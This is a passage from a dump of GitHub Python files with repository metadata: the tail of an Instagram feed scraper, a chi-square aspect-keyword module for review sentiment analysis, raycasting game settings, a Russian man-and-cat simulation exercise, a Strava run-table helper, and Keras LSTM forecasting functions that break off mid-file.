post['node']['edge_media_to_caption']['edges'] else \"Could not find caption\",\n 'thumbnail': post['node']['thumbnail_src'],\n 'image': post['node']['display_url']\n }\n result['media'].append(post)\n result['media_ids'].add(post['id'])\n\n except KeyError as exception:\n log.error('Unexpected response retrieving {} info: {!r}\\n\\nData: {}'.format(username, exception, data))\n return InstagramUserFeed(result)\n\n log.info('Scraped ' + result['user_username'] + ' and ' + str(len(result['media'])) + ' posts')\n else:\n log.error('Failed to extract meta-information from HTML page')\n return InstagramUserFeed(result)\n","repo_name":"mamoedo/social-alerts","sub_path":"src/instagram.py","file_name":"instagram.py","file_ext":"py","file_size_in_byte":4052,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"67"} +{"seq_id":"38699234841","text":"# -*- coding: utf-8 -*-\n\n\nimport os\nimport math\nimport torch\nimport string\nimport itertools\nimport numpy as np\nimport pandas as pd\nfrom nltk import FreqDist\n\n\npd.set_option('display.max_columns', 50)\nmaketrans = ''.maketrans\nreplace_punctuation = maketrans(string.punctuation, ' '*len(string.punctuation))\n\n\ndef to_one_list(lists):\n \"\"\" list of lists to one list , e.g. [[1,2],[3,4]] -> [1,2,3,4] \"\"\"\n return list(itertools.chain.from_iterable(lists))\n\n\ndef label_sentence_UseVocab(final_sentences, VocabDict):\n '''\n Label every word of a sentence by using:\n 1) a corresponding number from the VocabDict (vocabulary lookup table)\n (e.g., '-Amazing people' --> [0, 1]) which really means ['amazing', 'people'])\n OR\n 2) \"None\" label (TODO)\n '''\n vocabdict_labeled_sentences = []\n for sentence in final_sentences:\n temp = [VocabDict[word] for word in sentence if word in VocabDict.keys()]\n if len(temp)>0:\n vocabdict_labeled_sentences.append(temp)\n return vocabdict_labeled_sentences\n\n\nclass Sentence_info:\n def __init__(self, vocabdict_labeled_sentence):\n '''\n ### INPUT\n # sent: vocabdict_labeled_sentence\n ( e.g., '-Amazing people' --> [0, 1]) which really means ['amazing', 'people'] )\n \n ### DEFINED\n # word_frequency: occurrence count of each word in sent\n # label: initially, set to -1\n '''\n self.word_frequency = FreqDist(vocabdict_labeled_sentence)\n self.aspect_label = -1\n\n\nclass Review:\n def __init__(self, sentences, VocabDict, text_type):\n '''\n ### INPUT\n # review_text: review text\n # VocabDict: vocabulary lookup table\n '''\n vocabdict_labeled_sentences = label_sentence_UseVocab(sentences, VocabDict)\n self.Sentences_info = [Sentence_info(sent) for sent in vocabdict_labeled_sentences]\n UniWord = {} # dictionary\n for sent in self.Sentences_info:\n UniWord = UniWord | sent.word_frequency.keys() # now, UniWord is a set\n #UniWord = {-1 if w == None else w for w in UniWord}\n self.UniWord = np.array([w for w in UniWord])\n self.UniWord.sort()\n self.NumOfUniWord = len(self.UniWord)\n\n\nclass Company:\n def __init__(self, master, company_name, VocabDict, text_type):\n '''\n ### INPUT\n # company_name: company name ( e.g., 'XYZ International Inc.' )\n '''\n text_df = master[master['company']==company_name][text_type]\n stemmed_sentences = []\n for col in text_df.columns:\n stemmed_sentences += list(text_df[col])\n self.Reviews = [Review(sent, VocabDict, text_type) for sent in stemmed_sentences]\n self.NumOfReviews = len(self.Reviews)\n\n\nclass Corpus:\n def __init__(self, master, corpus, Vocab, VocabDict, text_type=['trigramSentence']):\n '''\n ### INPUT\n # corpus: list of all companies\n '''\n self.Vocab = Vocab\n self.Companies = [Company(master, company, VocabDict, text_type) for company in corpus]\n self.NumOfCompanies = len(corpus)\n self.VocabLength = len(Vocab)\n self.Aspect_Terms = []\n \n \ndef label_aspect(Sentence_info, aspects_num, K):\n '''\n ### INPUT\n # aspects_num: list of list of aspects\n ( e.g., [['pay','money','benefit'], ['coworker','team','colleague']] )\n # K: number of different aspects\n \n ### OUTPUT\n # match_count: k-dimensional vector representing the number of aspect words in the review\n '''\n match_count = np.zeros(K)\n for idx in range(K):\n for word_num, word_num_count in Sentence_info.word_frequency.items():\n if word_num in aspects_num[idx]:\n match_count[idx] += word_num_count\n return match_count\n\n\ndef ChisqTest(N, taDF, tDF, aDF):\n '''\n ### INPUT\n # N: all sentences that have some sort of aspect label\n # taDF: term in the aspect-labeled Document Frequency\n # tDF: term Document Frequency\n # aDF: aspect-labeled Document Frequency\n '''\n A = taDF ## term & aspect\n # A+B = tDF\n B = tDF - A # term occurring in non-aspect Document Frequency\n C = aDF - A # number of sentences without the term\n D = N - A - B - C \n return ((N * ( A * D - B * C )**2)) / ((aDF * ( B + D ) * tDF * ( C + D )) + 0.00001)\n\n\ndef collect_stat_for_each_review(review, aspects, Vocab):\n '''\n ### INPUT\n # review: each review\n # aspects: list of list of aspects\n ( e.g., [[11, 48, 4], [4, 2, 29]], which represent\n [['pay','money','benefits'], ['coworkers','team','colleagues']] )\n '''\n # review.num_stn_aspect_word = np.zeros((len(aspect),len(Vocab)))\n K = len(aspects)\n review.num_stn_aspect_word = np.zeros((K, review.NumOfUniWord))\n review.num_stn_aspect = np.zeros(K)\n review.num_stn_word = np.zeros(review.NumOfUniWord)\n review.num_stn = 0\n \n for Sentence in review.Sentences_info:\n if Sentence.aspect_label != -1: # if the sentence has an aspect label,\n review.num_stn += 1\n for l in Sentence.aspect_label:\n review.num_stn_aspect[l] += 1\n for w,v in Sentence.word_frequency.items():#keys():\n z = np.where(w == review.UniWord)[0] # index\n review.num_stn_word[z] += v\n for l in Sentence.aspect_label:\n for w,v in Sentence.word_frequency.items():#keys():\n z = np.where(w == review.UniWord)[0] # index\n review.num_stn_aspect_word[l,z] += v # FIX HERE???\n return review.num_stn_aspect_word, review.num_stn_aspect, review.num_stn_word, review.num_stn\n\n \nclass Bootstrapping:\n \n def sentence_label(self, corpus, K): # produce a label list\n if 0 < K:\n for company in corpus.Companies:\n for text in company.Reviews:\n for Sentence_info in text.Sentences_info:\n match_count = label_aspect(Sentence_info, self.Aspect_Terms, K)\n highest_match_count = np.max(match_count)\n if 0 < highest_match_count: # if at least one of the aspects has a match\n aspect_label = np.where(highest_match_count==match_count)[0].tolist() # index of the aspect with max matched terms\n Sentence_info.aspect_label = aspect_label # TODO: how about a tie?\n else:\n pass\n else:\n print(\"Warning: No sentences or Aspect_Terms are recorded in this corpus\")\n\n def calc_chi_sq(self, corpus, K):\n V = corpus.VocabLength\n corpus.all_num_stn_aspect_word = np.zeros((K,V))\n corpus.all_num_stn_aspect = np.zeros(K)\n corpus.all_num_stn_word = np.zeros(V)\n corpus.all_num_stn = 0\n Chi_sq = np.zeros((K,V))\n \n if 0 < K:\n for company in corpus.Companies:\n for text in company.Reviews:\n text.num_stn_aspect_word, text.num_stn_aspect, text.num_stn_word, text.num_stn = collect_stat_for_each_review(text, self.Aspect_Terms, corpus.Vocab)\n corpus.all_num_stn += text.num_stn # total number of sentences with any aspect label\n corpus.all_num_stn_aspect += text.num_stn_aspect\n for w in text.UniWord:\n z = np.where(w == text.UniWord)[0][0] # index, since the matrix for review text is small\n corpus.all_num_stn_word[w] += text.num_stn_word[z] # number of times aspect_i words (z) appear in all sentences\n corpus.all_num_stn_aspect_word[:,w] += text.num_stn_aspect_word[:,z]\n\n for k in range(K):\n for w in range(V):\n Chi_sq[k,w] = ChisqTest(\n corpus.all_num_stn, # sentences with any aspect\n corpus.all_num_stn_aspect_word[k,w], # num. of words in sentences belonging to aspect_k\n corpus.all_num_stn_word[w], # num. of word occurrence in any sentences\n corpus.all_num_stn_aspect[k] # num. of sentences of aspect_k\n )\n self.Chi_sq = Chi_sq\n else:\n print(\"Warning: No aspects were pre-specified\")\n\n\ndef load_Aspect_Terms(analyzer, seedwords_path, VocabDict):\n ''' \n # seedwords_path: path where the aspect seedwords text file is located\n # VocabDict: vocab lookup table\n ''' \n analyzer.Aspect_Terms=[]\n with open(seedwords_path, 'r') as f:\n for line in f:\n aspect = [VocabDict[w.strip().lower()] for w in line.split(',')]\n analyzer.Aspect_Terms.append(aspect)\n print(\"---------------------------- Aspect Keywords loading completed! ---------\")\n\n\ndef Add_Aspect_Keywords(analyzer, p, NumIter, c, K):\n '''\n ### INPUT\n # analyzer\n # p: Maximum number of added aspect words in each round\n # NumIter: Maximum number of iterations\n # c: data\n '''\n for i in range(NumIter):\n analyzer.sentence_label(c, K)\n analyzer.calc_chi_sq(c, K)\n t = 0\n for cs in analyzer.Chi_sq:\n x = cs[np.argsort(cs)[::-1]] # descending order\n y = np.array([not math.isnan(v) for v in x]) # return T of F\n words = np.argsort(cs)[::-1][y] #\n aspect_num = 0\n for w in words:\n if w not in to_one_list(analyzer.Aspect_Terms):\n analyzer.Aspect_Terms[t].append(w)\n aspect_num += 1\n if aspect_num > p:\n break\n t += 1\n print(\" *** Complete iteration \"+str(i+1)+\"/\"+str(NumIter))\n\n\ndef save_Aspect_Keywords_to_file(analyzer, finalwords_path, Vocab):\n '''\n ### INPUT\n # finalwords_path: path where the complete aspect words text file will locate\n '''\n with open(finalwords_path, 'w') as f:\n for aspect in analyzer.Aspect_Terms:\n for w in aspect:\n try:\n f.write(Vocab[w]+\", \")\n except:\n pass\n f.write(\"\\n\\n\\n\")\n \n\ndef create_W_matrix_for_each_review(analyzer, review, corpus):\n Nd = len(review.UniWord)\n K = len(analyzer.Aspect_Terms)\n # V=len(corpus.Vocab)\n review.W = np.zeros((K, Nd))\n for k in range(K):\n for w in range(Nd): ## w is index of UniWord_for_review\n # z = review.UniWord[w]\n if corpus.all_num_stn_aspect[k] > 0:\n review.W[k, w] = review.num_stn_aspect_word[k, w] / corpus.all_num_stn_aspect[k]\n\n\ndef create_all_W(analyzer, corpus):\n company_num=0\n for company in corpus.Companies:\n print(\"Creating W matrix for company '\"+str(company_num)+\"': \"+company.Company)\n for review in company.Reviews:\n create_W_matrix_for_each_review(analyzer, review, corpus)\n company_num += 1\n\n\ndef produce_data_for_rating(analyzer, corpus, output_path, percompany=False):\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n\n vocabfile = output_path + \"vocab.txt\"\n with open(vocabfile, 'w', encoding='utf8') as f:\n for w in corpus.Vocab:\n f.write(w+\",\")\n \n if percompany == False:\n reviewfile = output_path + \"review_data_all.txt\"\n with open(reviewfile, 'w', encoding='utf8') as f:\n for company in corpus.Companies:\n for review in company.Reviews:\n f.write(str(review.reviewId))\n f.write(\":\")\n f.write(str(review.Overall))\n f.write(\":\")\n f.write(str(review.UniWord.tolist()))\n f.write(\":\")\n f.write(str(review.W.tolist()))\n f.write(\"\\n\")\n f.write(\"\\n\")\n else:\n reviewfile = output_path + \"review_data.txt\"\n with open(reviewfile, 'w', encoding='utf8') as f:\n for company in corpus.Companies:\n f.write(company.Company)\n f.write(\"\\nTotal number of reviews: \" + str(company.NumOfReviews))\n f.write(\"\\n\")\n for review in company.Reviews:\n f.write(str(review.reviewId))\n f.write(\":\")\n f.write(str(review.Overall))\n f.write(\":\")\n f.write(str(review.UniWord.tolist()))\n f.write(\":\")\n f.write(str(review.W.tolist()))\n f.write(\"\\n\")\n f.write(\"\\n\")\n \n \nif __name__ == \"__main__\":\n \n # Call data\n path = '../sample_data/master/'\n output_path = '../sample_data/chi_square/'\n \n vocab = torch.load(path + 'vocab.pt')\n vocab_dict = torch.load(path + 'vocab_dict.pt')\n b_model =torch.load(path + 'bigram_model.pt')\n t_model = torch.load(path + 'trigram_model.pt')\n sentences = torch.load(path + 'sentence_match.pt')\n \n # Create analyzer\n analyzer = Bootstrapping()\n \n # Load aspect seedwords\n load_Aspect_Terms(analyzer, output_path+'seed_words_trigrams_6.txt', vocab_dict)\n for aspect_num in analyzer.Aspect_Terms:\n print('-------- Aspect Seedwords:')\n print(aspect_num)\n print([vocab[num] for num in aspect_num])\n \n # Define corpus\n sentences['company'] = 'company'\n company_list = list(sentences['company'].unique())\n data = Corpus(sentences, company_list, vocab, vocab_dict)\n print('-------- Done creating corpus')\n \n # Labeling each sentence\n K = len(analyzer.Aspect_Terms)\n analyzer.sentence_label(data, K)\n print('-------- Done default labeling')\n \n # Calculate chi square\n analyzer.calc_chi_sq(data, K) # it works! TODO: see if +0.00001 is justified\n print('-------- Done with chi-square')\n \n # Update the aspect keywords list\n load_Aspect_Terms(analyzer, output_path+'seed_words_trigrams_6.txt', vocab_dict)\n Add_Aspect_Keywords(analyzer, p=5, NumIter=5, c=data, K=K)\n \n # Check final results\n for aspect_num in analyzer.Aspect_Terms:\n print('-------- Final Aspect terms:')\n print(aspect_num)\n print([vocab[w] for w in aspect_num])\n \n \n # Save the aspect keywords\n aspectfile = output_path+'final_words_trigrams_6.txt'\n f = open(aspectfile, 'w', encoding='utf8')\n \n for aspect in analyzer.Aspect_Terms:\n print('-------- Final Aspect terms:')\n for w in aspect:\n f.write(vocab[w])\n f.write(',')\n f.write('\\n')\n f.close()\n\n \"\"\"\n # Create W matrix for each review\n create_all_W(analyzer,data)\n \n # W matrix for all reviews\n produce_data_for_rating(analyzer, data, output_path, percompany=False)\n \n # W matrix for reviews per company\n produce_data_for_rating(analyzer, data, output_path, percompany=True)\n \"\"\"\n \n ","repo_name":"elainespak/glassdoor_aspect_based_sentiment_analysis","sub_path":"utils/chi_square.py","file_name":"chi_square.py","file_ext":"py","file_size_in_byte":15033,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"1173312441","text":"import math\r\n\r\n# screen info\r\nRES = WIDTH, HEIGHT = 1600, 900\r\nHALF_WIDTH = WIDTH // 2\r\nHALF_HEIGHT = HEIGHT // 2\r\nFPS = 60\r\n\r\n# player info\r\nPLAYER_POS = 1.5, 5 #mini_map\r\nPLAYER_ANGLE = 0\r\nPLAYER_SPEED = 0.004\r\n# PLAYER_SPEED = 0.002\r\n# PLAYER_ROT_SPEED = 0.001\r\nPLAYER_ROT_SPEED = 0.002\r\nPLAYER_SIZE_SCALE = 60\r\n\r\nMOUSE_SENSITIVITY = 0.0003\r\nMOUSE_MAX_REL = 40\r\nMOUSE_BORDER_LEFT = 100\r\nMOUSE_BORDER_RIGHT = WIDTH - MOUSE_BORDER_LEFT\r\n\r\n# map info\r\nFLOOR_COLOR = (30,30,30)\r\nNUM_ROWS = 100\r\nNUM_COLS = 100\r\nNOISE_ZOOM = 0.1\r\n\r\n# raycasting\r\nFOV = math.pi / 3\r\nHALF_FOV = FOV / 2\r\nNUM_RAYS = WIDTH // 2\r\nHALF_NUM_RAYS = NUM_RAYS // 2\r\nDELTA_ANGLE = FOV / NUM_RAYS\r\nMAX_DEPTH = 20\r\n\r\n# drawing\r\nSCREEN_DIST = HALF_WIDTH / math.tan(HALF_FOV)\r\nSCALE = WIDTH // NUM_RAYS\r\n\r\n# textures\r\nTEXTURE_SIZE = 256\r\nHALF_TEXTURE_SIZE = TEXTURE_SIZE // 2\r\n\r\n# utility functions\r\ndef p5Map(n, start1, stop1, start2, stop2):\r\n return ((n-start1)/(stop1-start1))*(stop2-start2)+start2","repo_name":"efredericks/DOOMProcGen","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22056815405","text":"# -*- coding: utf-8 -*-\n\nfrom random import randint, choice\nfrom termcolor import cprint\n\n\n# Доработать практическую часть урока lesson_007/python_snippets/08_practice.py\n\n# Необходимо создать класс кота. У кота есть аттрибуты - сытость и дом (в котором он живет).\n# Кот живет с человеком в доме.\n# Для кота дом характеризируется - миской для еды и грязью.\n# Изначально в доме нет еды для кота и нет грязи.\n\n# Доработать класс человека, добавив методы\n# подобрать кота - у кота появляется дом.\n# купить коту еды - кошачья еда в доме увеличивается на 50, деньги уменьшаются на 50.\n# убраться в доме - степень грязи в доме уменьшается на 100, сытость у человека уменьшается на 20.\n# Увеличить кол-во зарабатываемых человеком денег до 150 (он выучил пайтон и устроился на хорошую работу :)\n\n# Кот может есть, спать и драть обои - необходимо реализовать соответствующие методы.\n# Когда кот спит - сытость уменьшается на 10\n# Когда кот ест - сытость увеличивается на 20, кошачья еда в доме уменьшается на 10.\n# Когда кот дерет обои - сытость уменьш��ется на 10, степень грязи в доме увеличивается на 5\n# Если степень сытости < 0, кот умирает.\n# Так же надо реализовать метод \"действуй\" для кота, в котором он принимает решение\n# что будет делать сегодня\n\n# Человеку и коту надо вместе прожить 365 дней.\n\n\nclass Man:\n\n def __init__(self, name, house=None):\n self.name = name\n self.house = house\n self.fullness = 50\n self.money = 100\n self.cats = []\n\n def __str__(self):\n return 'Я - {}, живу {}, сытость {}, денег осталось {}, {}'.format(\n self.name,\n 'в доме' if self.house else 'на улице',\n self.fullness,\n self.money,\n 'у меня есть котики: '+', '.join(self.cats) if self.cats else 'мечтаю завести котиков')\n\n def eat(self):\n if self.house.food >= 10:\n cprint('{} поел'.format(self.name), color='magenta')\n self.fullness += 20\n self.house.food -= 10\n else:\n cprint('{} нет еды'.format(self.name), color='red')\n\n def work(self):\n cprint('{} сходил на работу'.format(self.name), color='magenta')\n self.money += 150\n self.fullness -= 10\n\n def clean_house(self):\n cprint('{} почистил дом'.format(self.name), color='magenta')\n self.house.mud -= 100\n self.fullness -= 20\n\n def watch_mtv(self):\n cprint('{} смотрел MTV целый день'.format(self.name), color='magenta')\n self.fullness -= 10\n\n def shopping(self):\n\n if self.house.food <= 10 and self.money >= 50:\n self.money -= 50\n self.house.food += 50\n cprint('{} сходил в магазин себе за едой'.format(self.name), color='magenta')\n\n cat_food_need = len(self.cats) * 50\n\n if self.cats and self.house.cat_food <= len(self.cats) * 10:\n if cat_food_need <= self.money:\n self.house.cat_food += cat_food_need\n self.money -= cat_food_need\n cprint('{} сходил в магазин за едой кошкам'.format(self.name), color='magenta')\n elif cat_food_need >= self.money:\n self.house.cat_food += self.money\n self.money = 0\n cprint('{} сходил в магазин за едой кошкам на последние деньги'.format(self.name), color='magenta')\n\n self.fullness -= 10\n\n def move_in_house(self, house):\n self.house = house\n self.fullness -= 10\n cprint('{} Вьехал в дом'.format(self.name), color='magenta')\n\n def pick_a_cat(self, cat):\n self.cats.append(cat.name)\n self.fullness -= 5\n cprint('{} подобрал котика {} в дом'.format(self.name, cat.name), color='magenta')\n\n def act(self):\n if self.fullness <= 0:\n cprint('{} умер...'.format(self.name), color='red')\n return\n dice = randint(1, 6)\n if self.fullness < 20:\n self.eat()\n elif self.money < 100:\n self.work()\n elif self.house.food <= 10 or (self.cats and self.house.cat_food <= len(self.cats) * 10):\n self.shopping()\n elif self.fullness > 20 and self.house.mud >= 100:\n self.clean_house()\n elif dice == 1:\n self.watch_mtv()\n elif dice == 2:\n self.eat()\n else:\n self.work()\n\n\nclass House:\n\n def __init__(self):\n self.food = 50\n self.mud = 20\n self.cat_food = 0\n\n def __str__(self):\n return 'В доме еды осталось {}, кошачьей еды {}, грязи {}'.format(self.food,\n self.cat_food,\n self.mud)\n\n\nclass Cat:\n\n def __init__(self, name, house=None):\n self.name = name\n self.fullness = randint(1, 6) * 10\n self.house = house\n\n def __str__(self):\n return 'Я {} котик - {}, сытость {}'.format('домашний' if self.house else 'уличный',self.name, self.fullness)\n\n def eat(self):\n\n if self.house:\n if self.house.cat_food > 0:\n self.fullness += 20\n self.house.cat_food -= 10\n cprint('{} котик {} покушал, сытость {}'.format('Домашний' if self.house else 'уличный',\n self.name,\n self.fullness), color='cyan')\n else:\n dice = randint(1, 6)\n if dice == 1:\n self.fullness -= 10\n cprint('Уличный котик {} НЕ поймал мышь, сытость {}'.format(self.name, self.fullness), color='yellow')\n else:\n self.fullness += 20\n cprint('Уличный котик {} поймал мышь, сытость {}'.format(self.name, self.fullness), color='yellow')\n\n def play(self):\n self.fullness -= 10\n self.house.mud += 5\n cprint('{} котик {} поиграл, сытость {}'.format('Домашний' if self.house else 'уличный',\n self.name,\n self.fullness), color='cyan')\n\n def sleep(self):\n if self.house:\n self.fullness -= 10\n self.house.mud += 5\n cprint('{} котик {} поспал, сытость {}'.format('Домашний' if self.house else 'уличный',\n self.name,\n self.fullness), color='cyan')\n else:\n self.fullness -= 10\n cprint('Уличный котик {} спит, сытость {}'.format(self.name, self.fullness), color='yellow')\n\n def tear_wallpaper(self):\n self.fullness -= 10\n self.house.mud += 5\n cprint('{} котик {} драл обои, сытость {}'.format('Домашний' if self.house else 'уличный',\n self.name,\n self.fullness), color='cyan')\n\n def settle_in_house(self, house):\n self.house = house\n cprint('Котик {} переехал в дом'.format(self.name, self.fullness), color='white')\n\n def feces(self):\n self.house.mud += 20\n self.fullness -= 10\n cprint('{} котик {} нагадил, сытость {}'.format('Домашний' if self.house else 'уличный',\n self.name,\n self.fullness), color='cyan')\n\n def act(self):\n dice = randint(1, 6)\n if self.fullness < 0:\n cprint('Котик {} сдох'.format(self.name), color='red')\n elif self.fullness <= 10:\n self.eat()\n elif self.house and dice == 1:\n self.play()\n elif self.house and dice == 2:\n self.feces()\n elif self.house and dice == 3:\n self.tear_wallpaper()\n else:\n self.sleep()\n\n\nsweet_home = House()\nprint(sweet_home)\n\nman = Man(name='Кузьма', house=sweet_home)\nprint(man)\n\nstreet_cats = [\n Cat('Барсик'),\n Cat('Рыжик'),\n Cat('Пончик'),\n Cat('Матильда'),\n]\n\nhome_cats = [Cat(name='Хрящик', house=sweet_home),]\n\nfor cat in street_cats:\n print(cat)\n\nfor cat in home_cats:\n print(cat)\n\nfor day in map(str, range(1, 366)):\n cprint('=== день '+day+' ===', color='red')\n\n if man.house:\n if day == 1 and home_cats:\n for cat in home_cats:\n man.cats.append(cat.name)\n\n man.act()\n print(man)\n\n if man.money // (len(man.cats) + 1) >= 200:\n if len(street_cats) > 0:\n some_cat = choice(street_cats)\n home_cats.append(some_cat)\n man.pick_a_cat(some_cat)\n some_cat.settle_in_house(sweet_home)\n street_cats.remove(some_cat)\n else:\n man.move_in_house(sweet_home)\n '''приручаем котиков живущих в доме'''\n if home_cats:\n for cat in home_cats:\n man.cats.append(cat.name)\n\n print(sweet_home)\n\n for cat in street_cats:\n cat.act()\n\n for cat in home_cats:\n cat.act()\n\ncprint('**********************', color='magenta')\ncprint('Итоги года:', color='magenta')\n\nfor cat in home_cats:\n cprint(cat, color='magenta')\n\nfor cat in street_cats:\n cprint(cat, color='magenta')\n\ncprint(man, color='magenta')\ncprint('**********************', color='magenta')\n\n\n# Усложненное задание (делать по желанию)\n# Создать несколько (2-3) котов и подселить их в дом к человеку.\n# Им всем вместе так же надо прожить 365 дней.\n\n# (Можно определить критическое количество котов, которое может прокормить человек...)\n\n# Зачет!","repo_name":"zaboevai/python_base","sub_path":"lesson_007/03_man_ans_cat.py","file_name":"03_man_ans_cat.py","file_ext":"py","file_size_in_byte":11522,"program_lang":"python","lang":"ru","doc_type":"code","stars":16,"dataset":"github-code","pt":"67"} +{"seq_id":"24496422201","text":"from stravalib import client, unithelper\nimport datetime\nfrom flask_table import create_table, Col, DatetimeCol\ntableCls=create_table()\\\n\t.add_column(\"dist\", Col(\"Dist\"))\\\n\t.add_column(\"date\", DatetimeCol(\"Date\"))\\\n\t.add_column(\"time\", DatetimeCol(\"Time\"))\\\n\t.add_column(\"pace\", Col(\"Avg. Pace\"))\\\n\t.add_column(\"maxPace\", Col(\"Max Pace\"))\\\n\t.add_column(\"el\", Col(\"Elevation\"))\\\n\t.add_column(\"name\", Col(\"Name\"))\n\ndef minPerMile(meterPerSec):\n\tsecPerMile=1609.34/float(meterPerSec)\n\treturn str(datetime.timedelta(seconds=secPerMile))\n\n\n\ndef runsToTable(runList):\n\titems=list()\n\tfor act in runList:\n\t\titems.append(dict(dist=unithelper.miles(act.distance), time=act.moving_time.seconds, date=act.start_date, pace=minPerMile(act.average_speed), maxPace=minPerMile(act.max_speed), el=act.total_elevation_gain, name=act.name))\n\treturn tableCls(items)\n\t\n\n\n","repo_name":"jbrosamer/StravaApp","sub_path":"application/RunUtils.py","file_name":"RunUtils.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"34655546001","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 8 14:29:47 2018\n\n@author: gonsoomoon\n\"\"\"\nfrom keras.models import Sequential\nfrom keras.layers import Dense, LSTM\n\n\ndef fit_lstm(X_train, Y_train, X_val, Y_val, neurons, param, verbose=False):\n \"\"\"\n A lstm followed by a dense layer with dropout parameters\n training by an epoch, resetting states\n \"\"\"\n X_train = X_train.reshape(X_train.shape[0], param.n_seq_steps, param.n_features) # One step and n_lag features\n X_val = X_val.reshape(X_val.shape[0], param.n_seq_steps, param.n_features) # One step and n_lag features\n \n # design network\n history_list = list()\n \n model = Sequential()\n model.add(LSTM(neurons, batch_input_shape=(param.batch_size, param.n_seq_steps, param.n_features), \n stateful=param.b_stateful,\n recurrent_dropout= param.ratio_rec_dropout,\n dropout = param.ratio_input_dropout)) # X.shape[1] as step, X.shape[2] as feature\n model.add(Dense(param.n_pre_steps, activation='linear')) # pre_steps\n model.compile(loss='mean_squared_error', optimizer='adam')\n \n if verbose:\n print(\"Shape of X_train in fit_lstm: \", X_train.shape)\n print(\"Shape of Y_train in fit_lstm: \", Y_train.shape) \n print(\"Shape of X_val in fit_lstm: \", X_val.shape)\n print(\"Shape of Y_val in fit_lstm: \", Y_val.shape) \n model.summary()\n \n # fit network\n for i in range(param.n_epochs):\n if i % 10 == 0:\n print(\"# of epochs: \", i)\n history = model.fit(X_train, Y_train, epochs=1, batch_size= param.batch_size, \n validation_data=(X_val, Y_val), \n verbose=0, shuffle= param.b_shuffle) # stateful\n history_list.append(history)\n model.reset_states()\n \n return model, history_list\n\n# stacked lstm model\ndef fit_lstm2(X_train, Y_train, X_val, Y_val, neurons, param, verbose=False):\n \"\"\"\n Two lstm layers\n \"\"\"\n\n X_train = X_train.reshape(X_train.shape[0], param.n_seq_steps, param.n_features) # One step and n_lag features\n X_val = X_val.reshape(X_val.shape[0], param.n_seq_steps, param.n_features) # One step and n_lag features\n \n # design network\n history_list = list()\n \n model = Sequential()\n model.add(LSTM(neurons, batch_input_shape=(param.batch_size, param.n_seq_steps, param.n_features), \n stateful=param.b_stateful,\n recurrent_dropout= param.ratio_rec_dropout,\n dropout = param.ratio_input_dropout,\n return_sequences=True)) \n model.add(LSTM(neurons, \n stateful=param.b_stateful,\n recurrent_dropout= param.ratio_rec_dropout)) \n model.add(Dense(param.n_pre_steps, activation='linear')) # pre_steps\n model.compile(loss='mean_squared_error', optimizer='adam')\n \n if verbose:\n print(\"Shape of X_train in fit_lstm: \", X_train.shape)\n print(\"Shape of Y_train in fit_lstm: \", Y_train.shape) \n print(\"Shape of X_val in fit_lstm: \", X_val.shape)\n print(\"Shape of Y_val in fit_lstm: \", Y_val.shape) \n model.summary()\n \n # fit network\n for i in range(param.n_epochs):\n if i % 10 == 0:\n print(\"# of epochs: \", i)\n history = model.fit(X_train, Y_train, epochs=1, batch_size= param.batch_size, \n validation_data=(X_val, Y_val), \n verbose=0, shuffle= param.b_shuffle) # stateful\n history_list.append(history)\n model.reset_states()\n \n return model, history_list\n\n# stacked MLP model\n\n\ndef fit_mlp(X_train, Y_train, X_val, Y_val, neurons, param, verbose=False):\n \"\"\"\n Three hidden layers and one dropout applied to the first hidden layer\n \"\"\"\n mdl = Sequential()\n mdl.add(Dense(neurons, input_dim=param.n_lags, activation='tanh'))\n mdl.Dropout(param.ratio_dropout)\n mdl.add(Dense(neurons, activation='tanh'))\n mdl.add(Dense(param.pre_step))\n mdl.compile(loss='mean_squared_error', optimizer='adam')\n mdl.fit(X_train, Y_train, epochs=nb_epochs, batch_size=nb_batch_size, verbose=verbose, shuffle=False)\n return mdl\n \ndef fit_mlp2(X_train, Y_train, X_val, Y_val, neurons, param, verbose=False):\n \"\"\"\n Two lstm layers followed by one dense layer\n \"\"\"\n\n X_train = X_train.reshape(X_train.shape[0], param.n_seq_steps, param.n_features) # One step and n_lag features\n X_val = X_val.reshape(X_val.shape[0], param.n_seq_steps, param.n_features) # One step and n_lag features\n \n # design network\n history_list = list()\n \n model = Sequential()\n model.add(LSTM(neurons, batch_input_shape=(param.batch_size, param.n_seq_steps, param.n_features), \n stateful=param.b_stateful,\n recurrent_dropout= param.ratio_rec_dropout,\n dropout = param.ratio_input_dropout,\n return_sequences=True)) \n model.add(LSTM(neurons, \n stateful=param.b_stateful,\n recurrent_dropout= param.ratio_rec_dropout)) \n model.add(Dense(param.n_pre_steps, activation='linear')) # pre_steps\n model.compile(loss='mean_squared_error', optimizer='adam')\n \n if verbose:\n print(\"Shape of X_train in fit_lstm: \", X_train.shape)\n print(\"Shape of Y_train in fit_lstm: \", Y_train.shape) \n print(\"Shape of X_val in fit_lstm: \", X_val.shape)\n print(\"Shape of Y_val in fit_lstm: \", Y_val.shape) \n model.summary()\n \n # fit network\n for i in range(param.n_epochs):\n if i % 10 == 0:\n print(\"# of epochs: \", i)\n history = model.fit(X_train, Y_train, epochs=1, batch_size= param.batch_size, \n validation_data=(X_val, Y_val), \n verbose=0, shuffle= param.b_shuffle) # stateful\n history_list.append(history)\n model.reset_states()\n \n return model, history_list\n \n\ndef get_forcast_lstm(old_weights, param ):\n \"\"\"\n Make a forcast model to handle a batch size of 1\n \"\"\"\n # re-define the batch size\n n_forcast_batch = 1\n # re-define model\n new_model = Sequential()\n new_model.add(LSTM(param.n_neurons, batch_input_shape=(n_forcast_batch, param.n_seq_steps, param.n_features), stateful=param.b_stateful))\n new_model.add(Dense(param.n_pre_steps, activation='linear'))\n # copy weights\n\n new_model.set_weights(old_weights)\n # compile model\n new_model.compile(loss='mean_squared_error', optimizer='adam')\n return new_model \n\ndef get_forcast_lstm2(old_weights, param ):\n \"\"\"\n Retrieve the stacked lstm model\n \"\"\"\n # re-define the batch size\n n_forcast_batch = 1\n # re-define model\n new_model = Sequential()\n new_model.add(LSTM(param.n_neurons, 